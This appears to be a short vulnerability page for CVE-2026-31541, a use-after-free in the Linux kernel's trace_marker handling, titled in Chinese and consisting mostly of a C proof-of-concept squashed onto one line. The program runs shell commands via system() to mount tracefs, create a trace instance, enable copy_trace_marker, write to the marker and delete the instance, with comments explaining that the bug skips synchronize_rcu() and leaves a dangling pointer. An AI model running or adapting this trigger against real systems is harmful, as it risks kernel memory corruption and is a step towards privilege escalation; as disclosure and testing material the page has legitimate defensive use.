CVE-2026-31541 Linux Kernel trace_marker UAF漏洞

#include <stdio.h> #include <stdlib.h> // PoC for CVE-2026-31541: Linux Kernel trace_marker UAF // This script demonstrates the sequence to trigger the race condition. // Note: Exploiting the UAF requires precise timing and concurrent access. int main() { printf("[*] Setting up the environment for CVE-2026-31541...\n"); // 1. Ensure tracefs is mounted (usually at /sys/kernel/tracing) system("mount -t tracefs nodev /sys/kernel/tracing 2>/dev/null"); // 2. Create a new trace instance system("mkdir /sys/kernel/tracing/instances/poc_instance"); // 3. Enable the copy_trace_marker option for this instance // This adds the instance to the marker_copies list system("echo 1 > /sys/kernel/tracing/instances/poc_instance/options/copy_trace_marker"); // 4. Simulate activity (writing to marker) system("echo 'trigger' > /sys/kernel/tracing/trace_marker"); // 5. Delete the instance // The bug occurs here: flags are cleared before update_marker_trace(), // skipping synchronize_rcu() and potentially leaving a dangling pointer. printf("[*] Removing instance to trigger the bug...\n"); system("rmdir /sys/kernel/tracing/instances/poc_instance"); printf("[*] Exploit sequence completed.\n"); return 0; }